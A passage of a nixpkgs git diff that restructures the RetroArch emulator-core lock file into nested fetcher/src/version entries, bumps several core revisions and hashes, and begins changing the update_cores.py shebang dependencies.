"hash": "sha256-F4WyiZBNTh8hjuCooZXQkzov0vcHNni6d5mbAMgzAiA=", - "date": "unstable-2024-01-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "libretro-handy", + "rev": "65d6b865544cd441ef2bd18cde7bd834c23d0e48", + "hash": "sha256-F4WyiZBNTh8hjuCooZXQkzov0vcHNni6d5mbAMgzAiA=" + }, + "version": "unstable-2024-01-01" }, "hatari": { - "owner": "libretro", - "repo": "hatari", - "rev": "a4c9eb0bb79e47a2870c12b04566c1f8d25e4bf3", - "hash": "sha256-mHz2nB9Vr/PVifd6w+kz7ZCH+N8igmcS8InvevZoSpE=", - "date": "unstable-2023-09-29" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "hatari", + "rev": "a4c9eb0bb79e47a2870c12b04566c1f8d25e4bf3", + "hash": "sha256-mHz2nB9Vr/PVifd6w+kz7ZCH+N8igmcS8InvevZoSpE=" + }, + "version": "unstable-2023-09-29" }, "mame": { - "owner": "libretro", - "repo": "mame", - "rev": "8ebaec4073703f5050dac3f6c8da408943e15938", - "hash": "sha256-CFCem9MiaHW2flEZyJkcC9JEGzx7Ox/uqrTY3jue+Pk=", - "date": "unstable-2024-02-13" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mame", + "rev": "6d6d21fd9e41dab2b0e0ca0587baf3fcad18fd67", + "hash": "sha256-8pPDIxnEeeTQl160E+sg/wmchOR53pQmbhvEAXRFif0=" + }, + "version": "unstable-2024-02-29" }, "mame2000": { - "owner": "libretro", - "repo": "mame2000-libretro", - "rev": "1472da3a39ab14fff8325b1f51a1dfdb8eabb5c8", - "hash": "sha256-Nd5OqkoMJZ8TzEZGqDT0YX6lHK/H3I5EqJ841PteLi8=", - "date": "unstable-2023-10-31" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mame2000-libretro", + "rev": "1472da3a39ab14fff8325b1f51a1dfdb8eabb5c8", + "hash": "sha256-Nd5OqkoMJZ8TzEZGqDT0YX6lHK/H3I5EqJ841PteLi8=" + }, + "version": "unstable-2023-10-31" }, "mame2003": { - "owner": "libretro", - "repo": "mame2003-libretro", - "rev": "838f84f14422529c37bbb9803eb649209c8ba4e8", - "hash": "sha256-NiqlA4FjHS0GLypEg6QbhEJlhV0YU7VmMquzqnyr7aA=", - "date": "unstable-2024-02-08" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mame2003-libretro", + "rev": "838f84f14422529c37bbb9803eb649209c8ba4e8", + "hash": "sha256-NiqlA4FjHS0GLypEg6QbhEJlhV0YU7VmMquzqnyr7aA=" + }, + "version": "unstable-2024-02-08" }, "mame2003-plus": { - "owner": "libretro", - "repo": "mame2003-plus-libretro", - "rev": "a4d62997d332acc709c9644641863c5498e01eb0", - "hash": "sha256-9+pxx/fhNsvAMYDqalkkdljaR8/XxuMMSrrz7KeJtDU=", - "date": "unstable-2024-02-13" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mame2003-plus-libretro", + "rev": "a7cb863de48247c771a0fcc71d519131eae4e9c6", + "hash": "sha256-Y/Zyfck5tJ6oVsL/WjNXJZdPE5THeyBD5tNzJQaLSn8=" + }, + "version": "unstable-2024-03-02" }, "mame2010": { - "owner": "libretro", - "repo": "mame2010-libretro", - "rev": "5f524dd5fca63ec1dcf5cca63885286109937587", - "hash": "sha256-OmJgDdlan/niGQfajv0KNG8NJfEKn7Nfe6GRQD+TZ8M=", - "date": "unstable-2022-06-14" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mame2010-libretro", + "rev": "5f524dd5fca63ec1dcf5cca63885286109937587", + "hash": "sha256-OmJgDdlan/niGQfajv0KNG8NJfEKn7Nfe6GRQD+TZ8M=" + }, + "version": "unstable-2022-06-14" }, "mame2015": { - "owner": "libretro", - "repo": "mame2015-libretro", - "rev": "316cd06349f2b34b4719f04f7c0d07569a74c764", - "hash": "sha256-CBN04Jf26SIk8mKWlui5spQGokBvgFUCvFiC8NoBGw0=", - "date": "unstable-2023-11-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mame2015-libretro", + "rev": "316cd06349f2b34b4719f04f7c0d07569a74c764", + "hash": "sha256-CBN04Jf26SIk8mKWlui5spQGokBvgFUCvFiC8NoBGw0=" + }, + "version": "unstable-2023-11-01" }, "mame2016": { - "owner": "libretro", - "repo": "mame2016-libretro", - "rev": "01058613a0109424c4e7211e49ed83ac950d3993", - "hash": "sha256-IsM7f/zlzvomVOYlinJVqZllUhDfy4NNTeTPtNmdVak=", - "date": "unstable-2022-04-06" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mame2016-libretro", + "rev": "01058613a0109424c4e7211e49ed83ac950d3993", + "hash": "sha256-IsM7f/zlzvomVOYlinJVqZllUhDfy4NNTeTPtNmdVak=" + }, + "version": "unstable-2022-04-06" }, "melonds": { - "owner": "libretro", - "repo": "melonds", - "rev": "c6488c88cb4c7583dbcd61609e0eef441572fae8", - "hash": "sha256-kU0xPM6WBqK6UpMNMotHc3jRFTodahPJRrfbcjdCJTI=", - "date": "unstable-2023-04-13" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "melonds", + "rev": "c6488c88cb4c7583dbcd61609e0eef441572fae8", + "hash": "sha256-kU0xPM6WBqK6UpMNMotHc3jRFTodahPJRrfbcjdCJTI=" + }, + "version": "unstable-2023-04-13" }, "mesen": { - "owner": "libretro", - "repo": "mesen", - "rev": "d6f2f1797694f87e698c737b068f621889e96fa9", - "hash": "sha256-iLX9UvrjYjGjyaLD4sC10gntWUvgZrwiUqTS7S7YDdc=", - "date": "unstable-2024-01-30" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mesen", + "rev": "d6f2f1797694f87e698c737b068f621889e96fa9", + "hash": "sha256-iLX9UvrjYjGjyaLD4sC10gntWUvgZrwiUqTS7S7YDdc=" + }, + "version": "unstable-2024-01-30" }, "mesen-s": { - "owner": "libretro", - "repo": "mesen-s", - "rev": "32a7adfb4edb029324253cb3632dfc6599ad1aa8", - "hash": "sha256-/OOMH7kt9Pmkdmy5m+I8FMvog5mqZHyrZvfjHccz8oo=", - "date": "unstable-2022-07-25" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mesen-s", + "rev": "32a7adfb4edb029324253cb3632dfc6599ad1aa8", + "hash": "sha256-/OOMH7kt9Pmkdmy5m+I8FMvog5mqZHyrZvfjHccz8oo=" + }, + "version": "unstable-2022-07-25" }, "meteor": { - "owner": "libretro", - "repo": "meteor-libretro", - "rev": "e533d300d0561564451bde55a2b73119c768453c", - "hash": "sha256-zMkgzUz2rk0SD5ojY4AqaDlNM4k4QxuUxVBRBcn6TqQ=", - "date": "unstable-2020-12-28" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "meteor-libretro", + "rev": "e533d300d0561564451bde55a2b73119c768453c", + "hash": "sha256-zMkgzUz2rk0SD5ojY4AqaDlNM4k4QxuUxVBRBcn6TqQ=" + }, + "version": "unstable-2020-12-28" }, "mgba": { - "owner": "libretro", - "repo": "mgba", - "rev": "314bf7b676f5b820f396209eb0c7d6fbe8103486", - "hash": "sha256-Rk+glDgSa1J1IIe5NrJElX9zr59+LQynfDXuHWyZcEM=", - "date": "unstable-2023-05-28" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mgba", + "rev": "b2564482c86378581a7a43ef4e254b2a75167bc7", + "hash": "sha256-9qHk4V7wb9YISpZ2xO2NWCGCFMRWpE8lAKTzIldsC9M=" + }, + "version": "unstable-2024-02-28" }, "mrboom": { - "owner": "Javanaise", - "repo": "mrboom-libretro", - "rev": "f688664f024723e00c0d2926e51b45754a25e2da", - "hash": "sha256-t6ArMkyGvHJ9hLc+FFoH2wTk0wRFn5etzdLipTQnGyc=", - "fetchSubmodules": true, - "date": "unstable-2024-02-09" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "Javanaise", + "repo": "mrboom-libretro", + "rev": "3d5a840e424df30beaf2746c98f538ea1b44bd31", + "hash": "sha256-emNX2U4y2CO6biJ6vwY15otRs44WbPJTGmgP+uCSUfM=", + "fetchSubmodules": true + }, + "version": "unstable-2024-02-26" }, "mupen64plus": { - "owner": "libretro", - "repo": "mupen64plus-libretro-nx", - "rev": "fa55ddca926d3c3ad2285911646919def4aa6fa3", - "hash": "sha256-Fn/qSQDR8FuHG9eLE0I24wUa0sdosrl6+lhnf9cD+yQ=", - "date": "unstable-2024-02-06" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "mupen64plus-libretro-nx", + "rev": "fa55ddca926d3c3ad2285911646919def4aa6fa3", + "hash": "sha256-Fn/qSQDR8FuHG9eLE0I24wUa0sdosrl6+lhnf9cD+yQ=" + }, + "version": "unstable-2024-02-06" }, "neocd": { - "owner": "libretro", - "repo": "neocd_libretro", - "rev": "71ebe5044639b825e5bd1bd590fef3e918133b80", - "hash": "sha256-YVxt3bJ54DD91VHkeQyYdo/BEq//lnBKd9Y42Vby3qc=", - "date": "unstable-2024-02-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "neocd_libretro", + "rev": "71ebe5044639b825e5bd1bd590fef3e918133b80", + "hash": "sha256-YVxt3bJ54DD91VHkeQyYdo/BEq//lnBKd9Y42Vby3qc=" + }, + "version": "unstable-2024-02-01" }, "nestopia": { - "owner": "libretro", - "repo": "nestopia", - "rev": "407df997b65cddbff9b25abae0510e6645205677", - "hash": "sha256-Vlz69ZpXwawdE+bfjlKNrQNmFHhB53FOKhfMgq4viE0=", - "date": "unstable-2024-02-13" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "nestopia", + "rev": "2cef539e0df9ae5c8e6adf830a37f5d122bf5f05", + "hash": "sha256-OKqD99kqpIoqRUOByQ4qwAczYlIGeAn0xfTZVC5jptc=" + }, + "version": "unstable-2024-02-18" }, "np2kai": { - "owner": "AZO234", - "repo": "NP2kai", - "rev": "c2ca4046860264cb307e768f529f180caee5e224", - "hash": "sha256-RizN+NpVp0paXvdt7OudX9/5GJms1YvJ+NVe9iV3nnw=", - "fetchSubmodules": true, - "date": "unstable-2024-01-10" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "AZO234", + "repo": "NP2kai", + "rev": "c2ca4046860264cb307e768f529f180caee5e224", + "hash": "sha256-RizN+NpVp0paXvdt7OudX9/5GJms1YvJ+NVe9iV3nnw=", + "fetchSubmodules": true + }, + "version": "unstable-2024-01-10" }, "nxengine": { - "owner": "libretro", - "repo": "nxengine-libretro", - "rev": "1f371e51c7a19049e00f4364cbe9c68ca08b303a", - "hash": "sha256-4XBNTzgN8pLyrK9KsVxTRR1I8CQaZCnVR4gMryYpWW0=", - "date": "unstable-2023-02-21" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "nxengine-libretro", + "rev": "1f371e51c7a19049e00f4364cbe9c68ca08b303a", + "hash": "sha256-4XBNTzgN8pLyrK9KsVxTRR1I8CQaZCnVR4gMryYpWW0=" + }, + "version": "unstable-2023-02-21" }, "o2em": { - "owner": "libretro", - "repo": "libretro-o2em", - "rev": "44fe5f306033242f7d74144105e19a7d4939477e", - "hash": "sha256-zg8wplVTKRzqa47mmWlqribg+JU4Nap4Ar/iR7y87xs=", - "date": "unstable-2023-10-19" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "libretro-o2em", + "rev": "44fe5f306033242f7d74144105e19a7d4939477e", + "hash": "sha256-zg8wplVTKRzqa47mmWlqribg+JU4Nap4Ar/iR7y87xs=" + }, + "version": "unstable-2023-10-19" }, "opera": { - "owner": "libretro", - "repo": "opera-libretro", - "rev": "35e16483be900ea8aa20e87d2710b677437f73ce", - "hash": "sha256-ZNHSxI8l0KGJ6uAvOsEhNpB0IkBxtb9Imj3tA/LiOto=", - "date": "unstable-2024-01-13" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "opera-libretro", + "rev": "35e16483be900ea8aa20e87d2710b677437f73ce", + "hash": "sha256-ZNHSxI8l0KGJ6uAvOsEhNpB0IkBxtb9Imj3tA/LiOto=" + }, + "version": "unstable-2024-01-13" }, "parallel-n64": { - "owner": "libretro", - "repo": "parallel-n64", - "rev": "1b57f9199b1f8a4510f7f89f14afa9cabf9b3bdd", - "hash": "sha256-L20RGav0FJfydOICCNhAMGxIuIvPABDtCs5tWzrh768=", - "date": "unstable-2024-01-15" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "parallel-n64", + "rev": "1b57f9199b1f8a4510f7f89f14afa9cabf9b3bdd", + "hash": "sha256-L20RGav0FJfydOICCNhAMGxIuIvPABDtCs5tWzrh768=" + }, + "version": "unstable-2024-01-15" }, "pcsx2": { - "owner": "libretro", - "repo": "lrps2", - "rev": "f3c8743d6a42fe429f703b476fecfdb5655a98a9", - "hash": "sha256-0piCNWX7QbZ58KyTlWp4h1qLxXpi1z6ML8sBHMTvCY4=", - "date": "unstable-2023-01-30" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "lrps2", + "rev": "f3c8743d6a42fe429f703b476fecfdb5655a98a9", + "hash": "sha256-0piCNWX7QbZ58KyTlWp4h1qLxXpi1z6ML8sBHMTvCY4=" + }, + "version": "unstable-2023-01-30" }, "pcsx_rearmed": { - "owner": "libretro", - "repo": "pcsx_rearmed", - "rev": "016c6e93f6db684211f5c8b05433cb500715ba50", - "hash": "sha256-uYzL0uuQbxa4N0uQT8YEBiCgwkIcigvjeNU600WqSDQ=", - "date": "unstable-2024-02-07" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "pcsx_rearmed", + "rev": "9aefd427e47e1cdf94578e1913054bc14a44bab6", + "hash": "sha256-CWeHKajdTu4M8SioMsIt6c1BrnguPxmQ6cKOkPpRdqw=" + }, + "version": "unstable-2024-02-14" }, "picodrive": { - "owner": "libretro", - "repo": "picodrive", - "rev": "d907d65692a45e126d0c7d6685cc8792b52bc577", - "hash": "sha256-CJJcWVueg3dbBT4r6W1y8Qj7iRwH7PupvFp+CKEII7o=", - "fetchSubmodules": true, - "date": "unstable-2024-01-23" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "picodrive", + "rev": "d907d65692a45e126d0c7d6685cc8792b52bc577", + "hash": "sha256-CJJcWVueg3dbBT4r6W1y8Qj7iRwH7PupvFp+CKEII7o=", + "fetchSubmodules": true + }, + "version": "unstable-2024-01-23" }, "play": { - "owner": "jpd002", - "repo": "Play-", - "rev": "34c4c74fbd0ca2223c203bffc23f57157769074b", - "hash": "sha256-Nn2VsZOuwyBQxFBGGLVfD5BvvqJBI7g8HoShmH0hch8=", - "fetchSubmodules": true, - "date": "unstable-2024-02-05" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "jpd002", + "repo": "Play-", + "rev": "79cb8379b0ac86d26bacf85f34b5d199b232f6fa", + "hash": "sha256-lXSbFsbZh01FxzN1f0pBSFXrJe1RimlmmmTB9GitQzo=", + "fetchSubmodules": true + }, + "version": "unstable-2024-03-05" }, "ppsspp": { - "owner": "hrydgard", - "repo": "ppsspp", - "rev": "d832f96010fa378ef0a7f7980524a61803110ad7", - "hash": "sha256-LkngiwjRoYw+N+DCdbbWnTokDAYXbqOMJX+DQGAUl2g=", - "fetchSubmodules": true, - "date": "unstable-2024-02-13" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "hrydgard", + "repo": "ppsspp", + "rev": "0159102a191d43de7ae51775a79846efa2635988", + "hash": "sha256-b7QOOpeoVJUComVOlMtZK8B5w5vkE6rxJVEHecJE19k=", + "fetchSubmodules": true + }, + "version": "unstable-2024-02-28" }, "prboom": { - "owner": "libretro", - "repo": "libretro-prboom", - "rev": "6ec854969fd9dec33bb2cab350f05675d1158969", - "hash": "sha256-y0qZwYNwcO4ofWDZ7UXN9ZVMPFxjCnLDDZKBMdZLxEY=", - "date": "unstable-2023-05-28" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "libretro-prboom", + "rev": "6ec854969fd9dec33bb2cab350f05675d1158969", + "hash": "sha256-y0qZwYNwcO4ofWDZ7UXN9ZVMPFxjCnLDDZKBMdZLxEY=" + }, + "version": "unstable-2023-05-28" }, "prosystem": { - "owner": "libretro", - "repo": "prosystem-libretro", - "rev": "4202ac5bdb2ce1a21f84efc0e26d75bb5aa7e248", - "hash": "sha256-BR0DTWcB5g0rEoNSxBx+OxBmLELjdR2fgsmdPU7cK68=", - "date": "unstable-2023-08-17" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "prosystem-libretro", + "rev": "4202ac5bdb2ce1a21f84efc0e26d75bb5aa7e248", + "hash": "sha256-BR0DTWcB5g0rEoNSxBx+OxBmLELjdR2fgsmdPU7cK68=" + }, + "version": "unstable-2023-08-17" }, "puae": { - "owner": "libretro", - "repo": "libretro-uae", - "rev": "2cad13f98aa4df272decf2ab99d95aa582cd4cfb", - "hash": "sha256-8iGsQJcImL7hUK14X+u2BSq4W9BkosiLImCmzf63o4Q=", - "date": "unstable-2024-02-03" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "libretro-uae", + "rev": "5f683ae67b998fcadd69fa8f65f2440fa8ef135f", + "hash": "sha256-SvV18vqMf9ZtGzrK3bnE0h2ImYi1QuLi7t+ZO91Lm6Y=" + }, + "version": "unstable-2024-02-22" }, "quicknes": { - "owner": "libretro", - "repo": "QuickNES_Core", - "rev": "cd73f021be7dd5b1a21b71155a320364c02de4ac", - "hash": "sha256-fmTAK32ASA8M5nxUUUilm/yMNkmqSAG/gauB7fy1Kbc=", - "date": "unstable-2024-02-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "QuickNES_Core", + "rev": "cd73f021be7dd5b1a21b71155a320364c02de4ac", + "hash": "sha256-fmTAK32ASA8M5nxUUUilm/yMNkmqSAG/gauB7fy1Kbc=" + }, + "version": "unstable-2024-02-01" }, "same_cdi": { - "owner": "libretro", - "repo": "same_cdi", - "rev": "54cf493c2dee4c46666059c452f8aaaa0bd7c8e0", - "hash": "sha256-/+4coMzj/o82Q04Z65DQiPaykK6N56W6PRQLtyJOd8E=", - "date": "unstable-2023-02-28" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "same_cdi", + "rev": "54cf493c2dee4c46666059c452f8aaaa0bd7c8e0", + "hash": "sha256-/+4coMzj/o82Q04Z65DQiPaykK6N56W6PRQLtyJOd8E=" + }, + "version": "unstable-2023-02-28" }, "sameboy": { - "owner": "libretro", - "repo": "sameboy", - "rev": "09138330990da32362246c7034cf4de2ea0a2a2b", - "hash": "sha256-hQWIuNwCykkJR+6naNarR50kUvIFNny+bbZHR6/GA/4=", - "date": "unstable-2022-08-19" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "sameboy", + "rev": "09138330990da32362246c7034cf4de2ea0a2a2b", + "hash": "sha256-hQWIuNwCykkJR+6naNarR50kUvIFNny+bbZHR6/GA/4=" + }, + "version": "unstable-2022-08-19" }, "scummvm": { - "owner": "libretro-mirrors", - "repo": "scummvm", - "rev": "2fb2e4c551c9c1510c56f6e890ee0300b7b3fca3", - "hash": "sha256-wrlFqu+ONbYH4xMFDByOgySobGrkhVc7kYWI4JzA4ew=", - "date": "unstable-2022-04-06" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro-mirrors", + "repo": "scummvm", + "rev": "2fb2e4c551c9c1510c56f6e890ee0300b7b3fca3", + "hash": "sha256-wrlFqu+ONbYH4xMFDByOgySobGrkhVc7kYWI4JzA4ew=" + }, + "version": "unstable-2022-04-06" }, "smsplus-gx": { - "owner": "libretro", - "repo": "smsplus-gx", - "rev": "96fa9bc65aa27a5ab2779f9f2ff0439fec7cf513", - "hash": "sha256-tlxlI0+5QFgu2IRB4Cpz9XItbhprLNlq1YdCFGXGyIE=", - "date": "unstable-2023-10-31" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "smsplus-gx", + "rev": "96fa9bc65aa27a5ab2779f9f2ff0439fec7cf513", + "hash": "sha256-tlxlI0+5QFgu2IRB4Cpz9XItbhprLNlq1YdCFGXGyIE=" + }, + "version": "unstable-2023-10-31" }, "snes9x": { - "owner": "snes9xgit", - "repo": "snes9x", - "rev": "be6372c0345c82a87b880c791703fb1929ecf72c", - "hash": "sha256-JzUXxTJZG3LdWC+FCM/3/ynGclQ11rCj7q5fs45r5Bw=", - "date": "unstable-2024-02-08" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "snes9xgit", + "repo": "snes9x", + "rev": "1e1c45be07bf5760e73414d9ed0253d6dedb8605", + "hash": "sha256-gGAsKsI5e9jU6Zo2f72TBsHWdR6Bl+3Y1Om1zsbIjqs=" + }, + "version": "unstable-2024-02-14" }, "snes9x2002": { - "owner": "libretro", - "repo": "snes9x2002", - "rev": "540baad622d9833bba7e0696193cb06f5f02f564", - "hash": "sha256-WJh8Qf1/uFaL9f9d28qXsbpeAZfYGPgjoty3G6XAKSs=", - "date": "unstable-2022-08-06" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "snes9x2002", + "rev": "540baad622d9833bba7e0696193cb06f5f02f564", + "hash": "sha256-WJh8Qf1/uFaL9f9d28qXsbpeAZfYGPgjoty3G6XAKSs=" + }, + "version": "unstable-2022-08-06" }, "snes9x2005": { - "owner": "libretro", - "repo": "snes9x2005", - "rev": "fd45b0e055bce6cff3acde77414558784e93e7d0", - "hash": "sha256-zjA/G62V38/hj+WjJDGAs48AcTUIiMWL8feCqLsCRnI=", - "date": "unstable-2022-07-25" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "snes9x2005", + "rev": "fd45b0e055bce6cff3acde77414558784e93e7d0", + "hash": "sha256-zjA/G62V38/hj+WjJDGAs48AcTUIiMWL8feCqLsCRnI=" + }, + "version": "unstable-2022-07-25" }, "snes9x2010": { - "owner": "libretro", - "repo": "snes9x2010", - "rev": "d8b10c4cd7606ed58f9c562864c986bc960faaaf", - "hash": "sha256-7FmteYrAYr+pGNXGg9CBC4NFlijGRf7GdtJfiNjmonU=", - "date": "unstable-2023-02-20" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "snes9x2010", + "rev": "d8b10c4cd7606ed58f9c562864c986bc960faaaf", + "hash": "sha256-7FmteYrAYr+pGNXGg9CBC4NFlijGRf7GdtJfiNjmonU=" + }, + "version": "unstable-2023-02-20" }, "stella": { - "owner": "stella-emu", - "repo": "stella", - "rev": "4557099e5d7a0c0b02424ea85d2a4b093911e048", - "hash": "sha256-wyJExpIIScgLTALgvqW5f/QgIsMC19JU8Meh3mV4d2c=", - "date": "unstable-2024-02-02" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "stella-emu", + "repo": "stella", + "rev": "a311e1d714db3837ae4c05e2fab0abcf092a2e54", + "hash": "sha256-QJirSJleSPezNoyH2DKkaoNmGY3r/5J64IHBp+MeFvI=" + }, + "version": "unstable-2024-03-03" }, "stella2014": { - "owner": "libretro", - "repo": "stella2014-libretro", - "rev": "8ab051edd4816f33a5631d230d54059eeed52c5f", - "hash": "sha256-wqssB8WXXF2Lu9heII8nWLLOvI38cIfHSMA7OOd6jx0=", - "date": "unstable-2023-02-20" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "stella2014-libretro", + "rev": "8ab051edd4816f33a5631d230d54059eeed52c5f", + "hash": "sha256-wqssB8WXXF2Lu9heII8nWLLOvI38cIfHSMA7OOd6jx0=" + }, + "version": "unstable-2023-02-20" }, "swanstation": { - "owner": "libretro", - "repo": "swanstation", - "rev": "77aeeea58a45cccae7a8be37645f8f5a27ff101b", - "hash": "sha256-z+9Y9hoQ832caip5U+siQXh9GFxLMnX0HcmLa93B/lc=", - "date": "unstable-2024-01-26" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "swanstation", + "rev": "77aeeea58a45cccae7a8be37645f8f5a27ff101b", + "hash": "sha256-z+9Y9hoQ832caip5U+siQXh9GFxLMnX0HcmLa93B/lc=" + }, + "version": "unstable-2024-01-26" }, "tgbdual": { - "owner": "libretro", - "repo": "tgbdual-libretro", - "rev": "a6f3018e6a23030afc1873845ee54d4b2d8ec9d3", - "hash": "sha256-MBUgYXX/Pc+TkwoS7OwbXSPssKUf6lwWx/bKhvwDkHs=", - "date": "unstable-2022-08-06" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "tgbdual-libretro", + "rev": "a6f3018e6a23030afc1873845ee54d4b2d8ec9d3", + "hash": "sha256-MBUgYXX/Pc+TkwoS7OwbXSPssKUf6lwWx/bKhvwDkHs=" + }, + "version": "unstable-2022-08-06" }, "thepowdertoy": { - "owner": "libretro", - "repo": "ThePowderToy", - "rev": "f644498193c4c8be689d8a1d2a70e37e4eff4243", - "hash": "sha256-aPUqrrrH2Ia56A3Kx6ClMcZO9nbHGJIcEQ6nFyIMamo=", - "date": "unstable-2023-01-17" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "ThePowderToy", + "rev": "f644498193c4c8be689d8a1d2a70e37e4eff4243", + "hash": "sha256-aPUqrrrH2Ia56A3Kx6ClMcZO9nbHGJIcEQ6nFyIMamo=" + }, + "version": "unstable-2023-01-17" }, "tic80": { - "owner": "libretro", - "repo": "tic-80", - "rev": "bd6ce86174fc7c9d7d3a86263acf3a7de1b62c11", - "hash": "sha256-RFp8sTSRwD+cgW3EYk3nBeY+zVKgZVQI5mjtfe2a64Q=", - "fetchSubmodules": true, - "date": "unstable-2022-06-11" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "tic-80", + "rev": "bd6ce86174fc7c9d7d3a86263acf3a7de1b62c11", + "hash": "sha256-RFp8sTSRwD+cgW3EYk3nBeY+zVKgZVQI5mjtfe2a64Q=", + "fetchSubmodules": true + }, + "version": "unstable-2022-06-11" }, "vba-m": { - "owner": "libretro", - "repo": "vbam-libretro", - "rev": "a2378f05f600a5a9cf450c60a87976b80d6a895a", - "hash": "sha256-vWm28cSEGex5h7JkJjzNPqEGtQWHK0dpK2gVDlQ3NbM=", - "date": "unstable-2023-08-18" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "vbam-libretro", + "rev": "a2378f05f600a5a9cf450c60a87976b80d6a895a", + "hash": "sha256-vWm28cSEGex5h7JkJjzNPqEGtQWHK0dpK2gVDlQ3NbM=" + }, + "version": "unstable-2023-08-18" }, "vba-next": { - "owner": "libretro", - "repo": "vba-next", - "rev": "ee92625d2f1666496be4f5662508a2430e846b00", - "hash": "sha256-r3FKBD4GUUkobMJ33VceseyTyqxm/Wsa5Er6XcfGL2Q=", - "date": "unstable-2023-06-03" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "vba-next", + "rev": "ee92625d2f1666496be4f5662508a2430e846b00", + "hash": "sha256-r3FKBD4GUUkobMJ33VceseyTyqxm/Wsa5Er6XcfGL2Q=" + }, + "version": "unstable-2023-06-03" }, "vecx": { - "owner": "libretro", - "repo": "libretro-vecx", - "rev": "56a99fa08a7601b304d752188ca573febf26faeb", - "hash": "sha256-9/d6qzsUJZYZewAbFI4LU2FVpv09uby/5mxCZU7rVzo=", - "date": "unstable-2024-02-10" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "libretro-vecx", + "rev": "56a99fa08a7601b304d752188ca573febf26faeb", + "hash": "sha256-9/d6qzsUJZYZewAbFI4LU2FVpv09uby/5mxCZU7rVzo=" + }, + "version": "unstable-2024-02-10" }, "virtualjaguar": { - "owner": "libretro", - "repo": "virtualjaguar-libretro", - "rev": "8126e5c504ac7217a638f38e4cd9190822c8abdd", - "hash": "sha256-U/qdKApE0OU3jc6ekfgEZ7VCaIqCc2h+Y+IHe7PIRY0=", - "date": "unstable-2023-06-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "virtualjaguar-libretro", + "rev": "8126e5c504ac7217a638f38e4cd9190822c8abdd", + "hash": "sha256-U/qdKApE0OU3jc6ekfgEZ7VCaIqCc2h+Y+IHe7PIRY0=" + }, + "version": "unstable-2023-06-01" }, "yabause": { - "owner": "libretro", - "repo": "yabause", - "rev": "4c96b96f7fbe07223627c469ff33376b2a634748", - "hash": "sha256-7hEpGh2EcrlUoRiUNntaMZEQtStglYAY1MeCub5p8f8=", - "date": "unstable-2023-01-03" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "yabause", + "rev": "4c96b96f7fbe07223627c469ff33376b2a634748", + "hash": "sha256-7hEpGh2EcrlUoRiUNntaMZEQtStglYAY1MeCub5p8f8=" + }, + "version": "unstable-2023-01-03" } } diff --git a/pkgs/applications/emulators/retroarch/update_cores.py b/pkgs/applications/emulators/retroarch/update_cores.py index 981fe5377c5d3..3b4ee5f776925 100755 --- a/pkgs/applications/emulators/retroarch/update_cores.py +++ b/pkgs/applications/emulators/retroarch/update_cores.py @@ -1,5 +1,5 @@ #!/usr/bin/env nix-shell -#!nix-shell -I nixpkgs=./ -i python3 -p "python3.withPackages (ps: with ps; [ requests ])" -p git -p nix-prefetch-github +#!nix-shell -I nixpkgs=./ -i python3 -p "python3.withPackages (ps: with ps; [ ])" -p git -p nix-prefetch-github -p nix-prefetch-scripts import json import os @@ -8,8 +8,6 @@ import sys from concurrent.futures 